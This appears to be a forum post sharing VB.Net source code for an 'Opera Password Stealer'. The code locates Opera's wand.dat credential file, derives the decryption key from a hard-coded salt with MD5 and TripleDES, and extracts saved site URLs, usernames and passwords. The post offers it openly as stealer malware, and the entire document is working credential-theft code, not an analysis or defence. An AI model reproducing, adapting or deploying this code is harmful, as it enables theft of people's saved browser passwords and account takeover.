.NET [VB.Net] Opera Password Stealer [Source]

Code
Imports System.Security.Cryptography

Imports System.IO

Imports System.Text

Class Opera

'Credits to Black-Blood for original

'Credits to jawatim for modifications

    Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _

  &HE8, &H69, &H73, &HAF, &HFF}

    Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}

    Private Shared path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)

    Public DOutput As String

    Dim c As Integer = 0, c1 As Integer = 0, c2 As Integer = 0

    Dim firstrun As Boolean = True

    Dim ReturnValue As String

    Dim sUrlTemp, sUserTemp, sPassTemp As String

    Dim sUrl(1000), sUser(1000), sPass(1000) As String

    Dim lasturl As Integer = 0

    Dim ftp As Boolean = False

    Dim Lines() As String

    Dim LoginData(3000) As String

    Function GetOpera() As String

  Dim credlist As New List(Of String)

  Dim operacreds() As String = DecryptInfo()

  For Each cred As String In operacreds

    'Dim txt As String

    'txt &= cred & vbNewLine

    'SaveTextToFile(Trim(txt), "C:\Users\Tim\Desktop\creds.txt")

    If Not cred = "" Then

    credlist.Add(cred)

    End If

  Next



  Dim txt As New StringBuilder

  If credlist.Count = 0 Then

    Return "==Opera==" & vbNewLine & "Opera couldn't be recovered!" & vbNewLine & "=="

  Else

    For i As Integer = 0 To credlist.Count - 1 Step 3

    txt.Append("Host: " & (credlist(i)).Substring(1)).AppendLine()

    txt.Append("User Name: " & (credlist(i + 1)).Substring(1)).AppendLine()

    txt.Append("Password: " & (credlist(i + 2)).Substring(1)).AppendLine()

    txt.Append("==").AppendLine()

    Next

    Return "==Opera==" & vbNewLine & txt.ToString

  End If



    End Function



    Public Function DecryptInfo()



  If File.Exists(path & "\Opera\Opera\wand.dat") Then

    path += "\Opera\Opera\wand.dat"

    version2()

  ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then

    path += "\Opera\Opera\profile\wand.dat"

    version2()

  Else

  End If



  Return LoginData

    End Function



    Private Sub version2()

  Try

    Dim wand_file As Byte() = File.ReadAllBytes(path)

    Dim block_size As Integer = 0

    For i As Integer = 0 To wand_file.Length - 5

    If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then

    block_size = CInt(wand_file(i + 15))

    Dim key As Byte() = New Byte(7) {}

    Dim encrypt_data As Byte() = New Byte(block_size - 1) {}

    Array.Copy(wand_file, i + 4, key, 0, key.Length)

    Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)

    DOutput += decrypt2_method(key, encrypt_data) & vbNewLine

    i += 11 + block_size

    End If

    Next

    Lines = DOutput.Split(Environment.NewLine)

    For j As Integer = 0 To 3

    Lines(j) = Nothing

    Next

    For j As Integer = 0 To Lines.Length - 1

    sUrlTemp = Nothing

    sUserTemp = Nothing

    sPassTemp = Nothing

    c = 0

    Try

    If Lines(j).Contains("http://") OrElse Lines(j).Contains("https://") OrElse Lines(j).Contains("ftp://") Then

    If j <> 0 Then

    Try

    For k As Integer = 0 To Lines(j).Length - 1

    If AscW(Lines(j).Chars(k - c)) > 127 Then

    Lines(j) = Lines(j).Remove(k - c, 1)

    c += 1

    End If

    Next

    If j - lasturl = 1 Then

    sUrlTemp = Lines(j)

    ElseIf j - lasturl = 2 Then

    sUrlTemp = Lines(j)

    End If

    If Lines(j).Contains("ftp://") Then

    sUrlTemp = Lines(j)

    End If

    lasturl = j

    Catch ex As Exception



    End Try

    End If

    Else

    If ftp Then

    If j - lasturl = 1 OrElse j - lasturl = 2 Then



    Try

    For k As Integer = 0 To Lines(j).Length - 1

    If AscW(Lines(j).Chars(k - c)) > 127 Then

    Lines(j) = Lines(j).Remove(k - c, 1)

    c += 1

    End If

    Next

    If j - lasturl = 1 Then

    sUserTemp = Lines(j)

    ElseIf j - lasturl = 2 Then

    sPassTemp = Lines(j)

    c1 += 1

    ftp = False

    End If

    Catch ex As Exception



    End Try

    End If

    Else

    If lasturl <> 0 Then

    If j = lasturl + 2 OrElse j = lasturl + 4 Then



    Try

    For k As Integer = 0 To Lines(j).Length - 1

    If AscW(Lines(j).Chars(k - c)) > 127 Then

    Lines(j) = Lines(j).Remove(k - c, 1)

    c += 1

    End If

    Next

    If j = lasturl + 2 Then

    sUserTemp = Lines(j)

    ElseIf j = lasturl + 4 Then

    sPassTemp = Lines(j)

    c1 += 1

    End If

    Catch ex As Exception



    End Try

    End If

    End If

    End If

    End If

    Catch ex As Exception



    End Try

    Try

    If sUrlTemp <> Nothing Then

    sUrl(c1) = sUrlTemp

    End If

    If sUserTemp <> Nothing Then

    sUser(c1) = sUserTemp

    End If

    If sPassTemp <> Nothing Then

    Try

    sPass(c1 - 1) = sPassTemp

    Catch ex As Exception



    End Try

    End If



    Catch ex As Exception



    End Try



    Next

  Catch e As Exception

    Console.WriteLine(e.Message)

  End Try

  For j As Integer = 0 To sUrl.Length - 1

    If sUrl(j) = "" Then

    Exit For

    End If

    LoginData(c2) = sUrl(j)

    LoginData(c2 + 1) = sUser(j)

    LoginData(c2 + 2) = sPass(j)

    c2 += 3

  Next

    End Sub



    Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())

  Try

    Dim md5Crypt As New MD5CryptoServiceProvider()

    md5Crypt.Initialize()

    Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}

    Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)

    Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)

    Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)

    tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}

    Array.Copy(hash1, tmpBuffer, hash1.Length)

    Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)

    Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)

    Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)

    Dim tripleDES As New TripleDESCryptoServiceProvider()

    tripleDES.Mode = CipherMode.CBC

    tripleDES.Padding = PaddingMode.None

    Dim tripleKey As Byte() = New Byte(23) {}

    Dim IV As Byte() = New Byte(7) {}

    Array.Copy(hash1, tripleKey, hash1.Length)

    Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)

    Array.Copy(hash2, 8, IV, 0, 8)

    tripleDES.Key = tripleKey

    tripleDES.IV = IV

    Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()

    Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)

    Dim enc As String = Encoding.Unicode.GetString(output)



    Return enc



  Catch e As Exception

    Return ""

  End Try

    End Function

End Class